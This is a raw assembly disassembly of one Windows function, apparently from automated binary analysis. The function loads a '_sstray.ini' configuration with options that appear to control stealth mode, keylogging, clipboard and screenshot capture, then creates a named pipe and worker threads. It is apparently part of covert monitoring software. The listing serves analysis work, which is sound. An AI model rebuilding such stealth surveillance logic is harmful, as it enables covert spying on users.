Function at 0x140065990
Capabilities:
Create pipe
Get common file path
Get geographical location
Get session user name

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1380
call fcn.1400e2af0
sub rsp, rax
mov qword [rsp + 0x118], 0xfffffffffffffffe
mov qword [rsp + 0x13b8], rbx
mov qword [rsp + 0x13c0], rsi
mov rax, qword [0x14017c430]
xor rax, rsp
mov qword [rsp + 0x1370], rax
mov r13, rcx
mov qword [rsp + 0x68], rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x64000
mov r8d, 0x96000
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.PSAPI.DLL_EmptyWorkingSet]
mov rcx, r13
call fcn.1400639e0
mov byte [rsp + 0x270], 0
xor edx, edx
mov r8d, 0xff
lea rcx, [rsp + 0x271]
call fcn.1400dd9f0
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov r9d, 0x100
lea r8, [rsp + 0x270]
mov edx, 0x1001
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0xa0]
call fcn.14007df10
nop
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.1400b0824
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x140065a97
call fcn.140012b20
mov rcx, rax
test rax, rax
je 0x140065a97
mov rax, qword [rax]
mov edx, 1
call qword [rax]
nop
mov rcx, qword [rsp + 0xa0]
test rcx, rcx
je 0x140065abb
call fcn.140012b20
mov rcx, rax
test rax, rax
je 0x140065abb
mov rax, qword [rax]
mov edx, 1
call qword [rax]
lea rax, vtable.IniParser::CParser.0
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xc8]
call fcn.140007360
nop
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xf0]
call fcn.1400073f0
nop
mov word [rsp + 0xe0], 0x100
mov byte [rsp + 0xe2], 1
xor ebx, ebx
mov qword [rsp + 0xe8], rbx
lea rcx, [rsp + 0xc0]
call fcn.140004830
mov rsi, rax
lea ecx, [rbx + 0x18]
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
lea rdi, vtable.IniParser::CCommonValue.0
test rax, rax
je 0x140065b66
mov qword [rax], rdi
lea r12, vtable.IniParser::CBoolValue.0
mov qword [rax], r12
lea rax, [r13 + 0x2ad]
mov qword [r8 + 8], rax
mov dword [r8 + 0x10], ebx
jmp 0x140065b70
mov r8, rbx
lea r12, vtable.IniParser::CBoolValue.0
mov r9b, 1
lea rdx, str.IsStealth
mov rcx, rsi
call fcn.140003380
mov ecx, 0x18
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065bb0
mov qword [rax], rdi
mov qword [rax], r12
lea rax, [r13 + 0x2bc]
mov qword [r8 + 8], rax
mov dword [r8 + 0x10], ebx
jmp 0x140065bb3
mov r8, rbx
mov r9b, 1
lea rdx, str.IsSSLogEnable
mov rcx, rsi
call fcn.140003380
mov ecx, 0x20
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065c0a
mov qword [rax], rdi
lea r15, vtable.IniParser::CNumericType_int_.0
mov qword [rax], r15
lea rax, [r13 + 0x2c8]
mov qword [r8 + 8], rax
mov qword [r8 + 0x10], rbx
mov dword [r8 + 0x18], 1
mov dword [r8 + 0x1c], 6
jmp 0x140065c14
mov r8, rbx
lea r15, vtable.IniParser::CNumericType_int_.0
xor r9d, r9d
lea rdx, str.dwSSPeriod
mov rcx, rsi
call fcn.140003380
mov ecx, 0x18
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065c54
mov qword [rax], rdi
mov qword [rax], r12
lea rax, [r13 + 0x2bd]
mov qword [r8 + 8], rax
mov dword [r8 + 0x10], ebx
jmp 0x140065c57
mov r8, rbx
mov r9b, 1
lea rdx, str.bIsSSWO
mov rcx, rsi
call fcn.140003380
mov ecx, 0x20
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065cae
mov qword [rax], rdi
lea r14, vtable.IniParser::CNumericType_double_.0
mov qword [rax], r14
lea rax, [r13 + 0xc00]
mov qword [r8 + 8], rax
mov qword [r8 + 0x10], rbx
mov dword [r8 + 0x18], reloc.WS2_32.dll_recv
mov dword [r8 + 0x1c], 6
jmp 0x140065cb8
mov r8, rbx
lea r14, vtable.IniParser::CNumericType_double_.0
mov r9b, 1
lea rdx, str.From
mov rcx, rsi
call fcn.140003380
mov ecx, 0x20
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065d08
mov qword [rax], rdi
mov qword [rax], r14
lea rax, [r13 + 0xc08]
mov qword [r8 + 8], rax
mov qword [r8 + 0x10], rbx
mov dword [r8 + 0x18], reloc.WS2_32.dll_recv
mov dword [r8 + 0x1c], 6
jmp 0x140065d0b
mov r8, rbx
mov r9b, 1
lea rdx, [0x14013039c]
mov rcx, rsi
call fcn.140003380
cmp byte [r13 + 0x2d0], 0
setne byte [rsp + 0x41]
mov ecx, 0x18
call fcn.1400d5224
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065d52
mov qword [rax], rdi
mov qword [rax], r12
lea rcx, [rsp + 0x41]
mov qword [rax + 8], rcx
mov dword [rax + 0x10], ebx
jmp 0x140065d55
mov rax, rbx
mov r9b, 1
mov r8, rax
lea rdx, str.enKlog
mov rcx, rsi
call fcn.140003380
mov byte [rsp + 0x40], 1
mov ecx, 0x18
call fcn.1400d5224
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065d97
mov qword [rax], rdi
mov qword [rax], r12
lea rcx, [rsp + 0x40]
mov qword [rax + 8], rcx
mov dword [rax + 0x10], ebx
jmp 0x140065d9a
mov rax, rbx
mov r9b, 1
mov r8, rax
lea rdx, str.enClp
mov rcx, rsi
call fcn.140003380
mov ecx, 0x20
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065ded
mov qword [rax], rdi
mov qword [rax], r15
lea rax, [r13 + 0xc14]
mov qword [r8 + 8], rax
mov qword [r8 + 0x10], rbx
mov dword [r8 + 0x18], 1
mov dword [r8 + 0x1c], 6
jmp 0x140065df0
mov r8, rbx
xor r9d, r9d
lea rdx, str.dwClpFsize
mov rcx, rsi
call fcn.140003380
mov ecx, 0x18
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065e30
mov qword [rax], rdi
mov qword [rax], r12
lea rax, [r13 + 0xc18]
mov qword [r8 + 8], rax
mov dword [r8 + 0x10], ebx
jmp 0x140065e33
mov r8, rbx
mov r9b, 1
lea rdx, str.bClpEnF
mov rcx, rsi
call fcn.140003380
mov ecx, 0x18
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065e73
mov qword [rax], rdi
mov qword [rax], r12
lea rax, [r13 + 0x15e4]
mov qword [r8 + 8], rax
mov dword [r8 + 0x10], ebx
jmp 0x140065e76
mov r8, rbx
mov r9b, 1
lea rdx, str.bPaused
mov rcx, rsi
call fcn.140003380
mov ecx, 0x20
call fcn.1400d5224
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065ec2
mov qword [rax], rdi
mov qword [rax], r15
lea rcx, [rsp + 0x80]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rbx
mov dword [rax + 0x18], 1
mov dword [rax + 0x1c], 6
jmp 0x140065ec5
mov rax, rbx
mov r9b, 1
mov r8, rax
lea rdx, str.bSqual
mov rcx, rsi
call fcn.140003380
mov ecx, 0x18
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065f08
mov qword [rax], rdi
mov qword [rax], r12
lea rax, [r13 + 0xc1b]
mov qword [r8 + 8], rax
mov dword [r8 + 0x10], ebx
jmp 0x140065f0b
mov r8, rbx
mov r9b, 1
lea rdx, str.bGrayscale
mov rcx, rsi
call fcn.140003380
mov ecx, 0x18
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065f4b
mov qword [rax], rdi
mov qword [rax], r12
lea rax, [r13 + 0xc1d]
mov qword [r8 + 8], rax
mov dword [r8 + 0x10], ebx
jmp 0x140065f4e
mov r8, rbx
mov r9b, 1
lea rdx, str.bScreenAppAct
mov rcx, rsi
call fcn.140003380
mov ecx, 0x18
call fcn.1400d5224
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065f88
mov qword [rax], rdi
mov qword [rax], r12
lea rcx, [rsp + 0x50]
mov qword [rax + 8], rcx
mov dword [rax + 0x10], ebx
jmp 0x140065f8b
mov rax, rbx
mov r9b, 1
mov r8, rax
lea rdx, str.bSpool
mov rcx, rsi
call fcn.140003380
mov ecx, 0x18
call fcn.1400d5224
mov r8, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140065fce
mov qword [rax], rdi
mov qword [rax], r12
lea rax, [r13 + 0x2ae]
mov qword [r8 + 8], rax
mov dword [r8 + 0x10], ebx
jmp 0x140065fd1
mov r8, rbx
mov r9b, 1
lea rdx, str.enPrn
mov rcx, rsi
call fcn.140003380
mov qword [rsp + 0x258], 7
mov qword [rsp + 0x250], rbx
mov word [rsp + 0x240], bx
mov ecx, 0x18
call fcn.1400d5224
mov qword [rsp + 0x48], rax
test rax, rax
je 0x14006603a
mov qword [rax], rdi
lea rcx, vtable.IniParser::CStdStringValue.0
mov qword [rax], rcx
lea rcx, [rsp + 0x240]
mov qword [rax + 8], rcx
or r12, 0xffffffffffffffff
mov dword [rax + 0x10], r12d
mov byte [rax + 0x14], 1
jmp 0x140066041
mov rax, rbx
or r12, 0xffffffffffffffff
mov r9b, 1
mov r8, rax
lea rdx, str.SMsg
mov rcx, rsi
call fcn.140003380
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
movsxd rsi, eax
lea rcx, [0x14017bd30]
mov rdx, qword [0x14017bd30]
call qword [rdx + 0x18]
lea rdi, [rax + 0x18]
mov qword [rsp + 0x60], rdi
test esi, esi
jns 0x14006608c
mov ecx, 0x80070057
call fcn.1400022b0
int3
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, esi
or eax, ecx
jge 0x1400660ae
mov edx, esi
lea rcx, [rsp + 0x60]
call fcn.1400020c0
mov rdi, qword [rsp + 0x60]
cmp esi, dword [rdi - 0xc]
jg 0x140066d7d
mov dword [rdi - 0x10], esi
mov word [rdi + rsi*2], bx
mov rdx, rdi
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
movsxd rdx, dword [rdi - 0xc]
mov rcx, rdi
call fcn.1400d4f10
test eax, eax
js 0x140066d72
cmp eax, dword [rdi - 0xc]
jg 0x140066d72
mov dword [rdi - 0x10], eax
cdqe
mov word [rdi + rax*2], bx
cmp dword [r13 + 0x188], 0
je 0x140066111
lea r8, str.SysWOW64
lea rdx, str.system32
lea rcx, [rsp + 0x60]
call fcn.140014000
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str._sstray.ini
lea rcx, [rsp + 0x60]
call fcn.14003bd50
nop
mov r8d, 0x21
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x120]
call fcn.1400055c0
nop
mov rax, qword [rsp + 0x120]
movsxd rcx, dword [rax + 4]
mov eax, dword [rsp + rcx + 0x130]
mov dword [rsp + 0xa8], eax
test al, 6
je 0x14006618a
call fcn.1400d60ac
mov edx, dword [rax]
xor ecx, ecx
call fcn.140002de0
mov qword [rsp + 0xb0], rax
lea rdx, [0x140176a68]
lea rcx, [rsp + 0xb0]
call fcn.1400de560
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0xc0]
call fcn.140003960
nop
lea rcx, [rsp + 0x1d8]
call fcn.1400056a0
lea rdx, [rsp + 0x1d8]
mov qword [rsp + 0x110], rdx
lea rax, vtable.std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rsp + 0x1d8], rax
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x1d8], rax
lea rcx, [rsp + 0x1d8]
call fcn.1400af348
nop
jmp 0x1400661f6
movzx eax, byte [rsp + 0x80]
mov byte [r13 + 0xc1c], al
lea rsi, [rsp + 0x240]
cmp qword [rsp + 0x258], 8
cmovae rsi, qword [rsp + 0x240]
lea rcx, [0x14017bd30]
mov rax, qword [0x14017bd30]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x58], rax
test rsi, rsi
je 0x14006627b
test rsi, 0xffffffffffff0000
jne 0x140066268
movzx edi, si
mov ecx, edi
call fcn.140002830
test rax, rax
je 0x14006628e
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400029f0
jmp 0x14006628e
xor eax, eax
mov rcx, r12
mov rdi, rsi
repne scasw ax, word [rdi]
not rcx
dec rcx
jmp 0x14006627d
mov ecx, ebx
mov r8d, ecx
mov rdx, rsi
lea rcx, [rsp + 0x58]
call fcn.140002120
nop
lea r8, [0x140130458]
lea rdx, [0x140130454]
lea rcx, [rsp + 0x58]
call fcn.140014000
mov r8, qword [rsp + 0x58]
cmp dword [r8 - 8], 1
jle 0x1400662c5
mov edx, dword [r8 - 0x10]
lea rcx, [rsp + 0x58]
call fcn.140001fb0
mov r8, qword [rsp + 0x58]
mov edx, 0x200
lea rcx, [r13 + 0xc9a]
call fcn.1400d7f70
movzx edx, byte [r13 + 0x2ad]
mov dword [reloc.WS2_32.dll_accept], edx
lea rdi, [0x140129a38]
lea rsi, [r13 + 0xc9a]
mov ecx, 1
repe cmpsw word [rsi], word [rdi]
je 0x140066324
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
lea r9, [r13 + 0xc9a]
lea r8, [0x1400733a0]
xor edx, edx
xor ecx, ecx
call fcn.1400d86a0
movzx eax, byte [rsp + 0x41]
test al, al
je 0x140066335
or byte [r13 + 0x2d0], 2
cmp byte [r13 + 0x15e4], 0
jne 0x140066594
test al, al
jne 0x14006635e
call fcn.14008f6b0
mov rcx, qword [rax + 0x2a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
jmp 0x1400663e5
call fcn.14008f6b0
mov rdi, rax
test rax, rax
je 0x1400663e5
mov r8b, 1
lea rdx, [rsp + 0x98]
mov rcx, r13
call fcn.14005f570
nop
lea rcx, [rdi + 0x7c]
mov rdx, qword [rax]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
nop
mov rdx, qword [rsp + 0x98]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1400663b0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
mov eax, 1
xchg dword [0x14017e9f4], eax
movsd xmm1, qword [r13 + 0xc08]
movsd xmm0, qword [r13 + 0xc00]
movsd qword [0x140183778], xmm0
movsd qword [0x140183780], xmm1
mov rcx, rdi
call fcn.14008f700
cmp byte [rsp + 0x40], 0
jne 0x140066453
mov rdi, qword [0x140183810]
test rdi, rdi
jne 0x140066426
mov ecx, 0x220
call fcn.1400d5224
mov qword [rsp + 0x88], rax
test rax, rax
je 0x14006641c
mov rcx, rax
call fcn.140097f80
mov rdi, rax
jmp 0x14006641f
mov rdi, rbx
mov qword [0x140183810], rdi
mov rcx, qword [rdi + 0x210]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, qword [rdi + 0x1f8]
test rcx, rcx
je 0x1400664d7
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1400664d7
mov rcx, qword [0x140183810]
test rcx, rcx
jne 0x140066492
mov ecx, 0x220
call fcn.1400d5224
mov qword [rsp + 0x88], rax
test rax, rax
je 0x140066483
mov rcx, rax
call fcn.140097f80
mov rcx, rax
jmp 0x140066486
mov rcx, rbx
mov qword [0x140183810], rcx
test rcx, rcx
je 0x1400664d7
mov edx, dword [r13 + 0xc14]
movzx eax, byte [r13 + 0xc18]
mov dword [rcx + 0x218], eax
shl edx, 0x14
mov dword [rcx + 0x21c], edx
movsd xmm1, qword [r13 + 0xc08]
movsd xmm0, qword [r13 + 0xc00]
movsd qword [rcx + 0x200], xmm0
movsd qword [rcx + 0x208], xmm1
call fcn.140099d30
mov rdi, qword [0x140183798]
test rdi, rdi
jne 0x140066516
mov ecx, 0xb0
call fcn.1400d5224
mov qword [rsp + 0x88], rax
test rax, rax
je 0x140066507
mov rcx, rax
call fcn.140092860
mov rdi, rax
jmp 0x14006650a
mov rdi, rbx
mov qword [0x140183798], rdi
test rdi, rdi
je 0x140066594
movzx eax, byte [r13 + 0x2ae]
mov dword [reloc.WS2_32.dll_accept], eax
movzx eax, byte [rsp + 0x50]
mov dword [0x1401837b0], eax
movsd xmm1, qword [r13 + 0xc08]
movsd xmm0, qword [r13 + 0xc00]
movsd qword [0x1401837a0], xmm0
movsd qword [0x1401837a8], xmm1
xor edx, edx
mov rcx, qword [rdi + 0x98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140066594
mov rcx, qword [rdi + 0x98]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x140091b90]
xor edx, edx
xor ecx, ecx
call fcn.1400d86a0
mov qword [rdi + 0xa0], rax
lea rcx, [0x14017bd30]
mov rax, qword [0x14017bd30]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rsp + 0x70], rdi
lea r15, str.GlobalGetSSts
test r15, 0xffffffffffff0000
jne 0x1400665e9
movzx esi, r15w
mov ecx, esi
call fcn.140002830
test rax, rax
je 0x140066659
mov r8d, esi
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400029f0
mov rdi, qword [rsp + 0x70]
jmp 0x140066659
mov r14d, dword [rdi - 0x10]
mov rsi, r15
sub rsi, rdi
sar rsi, 1
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, 0xe
or eax, ecx
jge 0x14006661c
mov edx, recv
lea rcx, [rsp + 0x70]
call fcn.1400020c0
mov rdi, qword [rsp + 0x70]
movsxd rdx, dword [rdi - 0xc]
mov r9d, 0x1c
mov rcx, rdi
add rdx, rdx
cmp rsi, r14
ja 0x14006663c
lea r8, [rdi + rsi*2]
call fcn.1400d4ebc
jmp 0x140066644
mov r8, r15
call fcn.1400d4e34
cmp dword [rdi - 0xc], 0xe
jl 0x140066d67
mov dword [rdi - 0x10], 0xe
mov word [rdi + 0x1c], bx
mov rax, qword [0x140183698]
cmp dword [rax + 0x2a0], 0
je 0x1400666bf
mov word [rsp + 0x370], bx
xor edx, edx
mov r8d, 0x7fe
lea rcx, [rsp + 0x372]
call fcn.1400dd9f0
mov dword [rsp + 0x7c], 0x3ff
lea rdx, [rsp + 0x7c]
lea rcx, [rsp + 0x370]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea r8, [rsp + 0x370]
lea rdx, [0x14012f6a8]
lea rcx, [rsp + 0x70]
call fcn.140045040
mov rdi, qword [rsp + 0x70]
mov r9, rdi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [r13 + 0x1b0], rax
test rax, rax
jne 0x140066776
lea rdx, [rdi - 0x18]
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1400666fb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x14006671c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r12d
dec r12d
test r12d, r12d
jg 0x14006673d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
cmp qword [rsp + 0x258], 8
jb 0x140066755
mov rcx, qword [rsp + 0x240]
call fcn.1400d4d78
mov qword [rsp + 0x258], 7
mov qword [rsp + 0x250], rbx
mov word [rsp + 0x240], bx
jmp 0x140066d88
lea r8, [0x14012bb80]
xor edx, edx
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenEventW]
mov qword [r13 + 0x1a0], rax
test rax, rax
jne 0x140066831
lea rdx, [rdi - 0x18]
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1400667b6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1400667d7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r12d
dec r12d
test r12d, r12d
jg 0x1400667f8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
cmp qword [rsp + 0x258], 8
jb 0x140066810
mov rcx, qword [rsp + 0x240]
call fcn.1400d4d78
mov qword [rsp + 0x258], 7
mov qword [rsp + 0x250], rbx
mov word [rsp + 0x240], bx
jmp 0x140066d88
lea rcx, [0x14017bd30]
mov rax, qword [0x14017bd30]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rsp + 0x68], rdi
lea r15, str..pipemsg_D66E1F7A_5D94_4645_9BA1_CF75474D4FAA
test r15, 0xffffffffffff0000
jne 0x140066886
movzx esi, r15w
mov ecx, esi
call fcn.140002830
test rax, rax
je 0x1400668f6
mov r8d, esi
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.1400029f0
mov rdi, qword [rsp + 0x68]
jmp 0x1400668f6
mov r14d, dword [rdi - 0x10]
mov rsi, r15
sub rsi, rdi
sar rsi, 1
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, 0x31
or eax, ecx
jge 0x1400668b9
mov edx, 0x31
lea rcx, [rsp + 0x68]
call fcn.1400020c0
mov rdi, qword [rsp + 0x68]
movsxd rdx, dword [rdi - 0xc]
mov r9d, 0x62
mov rcx, rdi
add rdx, rdx
cmp rsi, r14
ja 0x1400668d9
lea r8, [rdi + rsi*2]
call fcn.1400d4ebc
jmp 0x1400668e1
mov r8, r15
call fcn.1400d4e34
cmp dword [rdi - 0xc], 0x31
jl 0x140066d5c
mov dword [rdi - 0x10], 0x31
mov word [rdi + 0x62], bx
mov rax, qword [0x140183698]
cmp dword [rax + 0x2a0], 0
je 0x14006695c
mov word [rsp + 0xb70], bx
xor edx, edx
mov r8d, 0x7fe
lea rcx, [rsp + 0xb72]
call fcn.1400dd9f0
mov dword [rsp + 0x78], 0x3ff
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0xb70]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea r8, [rsp + 0xb70]
lea rdx, [0x14012f6a8]
lea rcx, [rsp + 0x68]
call fcn.140045040
mov rdi, qword [rsp + 0x68]
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov edx, 3
lea r9d, [rdx - 1]
lea r8d, [rdx + 1]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov qword [r13 + 0x178], rax
cmp rax, 0xffffffffffffffff
jne 0x140066a4c
lea rdx, [rdi - 0x18]
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1400669b0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1400669d1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1400669f2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r12d
dec r12d
test r12d, r12d
jg 0x140066a13
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
cmp qword [rsp + 0x258], 8
jb 0x140066a2b
mov rcx, qword [rsp + 0x240]
call fcn.1400d4d78
mov qword [rsp + 0x258], 7
mov qword [rsp + 0x250], rbx
mov word [rsp + 0x240], bx
jmp 0x140066d88
lea rsi, [r13 + 0x160]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x14006a130]
xor edx, edx
xor ecx, ecx
call fcn.1400d86a0
mov qword [r13 + 0x180], rax
test rax, rax
jne 0x140066b37
lea rdx, [rdi - 0x18]
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140066a9b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140066abc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140066add
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r12d
dec r12d
test r12d, r12d
jg 0x140066afe
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
cmp qword [rsp + 0x258], 8
jb 0x140066b16
mov rcx, qword [rsp + 0x240]
call fcn.1400d4d78
mov qword [rsp + 0x258], 7
mov qword [rsp + 0x250], rbx
mov word [rsp + 0x240], bx
jmp 0x140066d88
mov r8b, 1
lea rdx, [rsp + 0x48]
mov rcx, r13
call fcn.14005ed60
nop
mov rdx, rax
lea rcx, [r13 + 0x190]
call fcn.140001cf0
nop
mov rdx, qword [rsp + 0x48]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140066b78
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], ebx
lea r9, [r13 + 0x190]
lea r8, [0x14006a950]
xor edx, edx
xor ecx, ecx
call fcn.1400d86a0
mov qword [r13 + 0x170], rax
test rax, rax
jne 0x140066c65
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140066bc9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140066bea
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140066c0b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r12d
dec r12d
test r12d, r12d
jg 0x140066c2c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
cmp qword [rsp + 0x258], 8
jb 0x140066c44
mov rcx, qword [rsp + 0x240]
call fcn.1400d4d78
mov qword [rsp + 0x258], 7
mov qword [rsp + 0x250], rbx
mov word [rsp + 0x240], bx
jmp 0x140066d88
lea rax, [rsp + 0xac]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x14006ca90]
xor edx, edx
xor ecx, ecx
call fcn.1400d86a0
mov qword [r13 + 0x150], rax
mov rdx, qword [rsp + 0x68]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140066cb1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
mov eax, r12d
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140066cd2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + VariantCopy]
nop
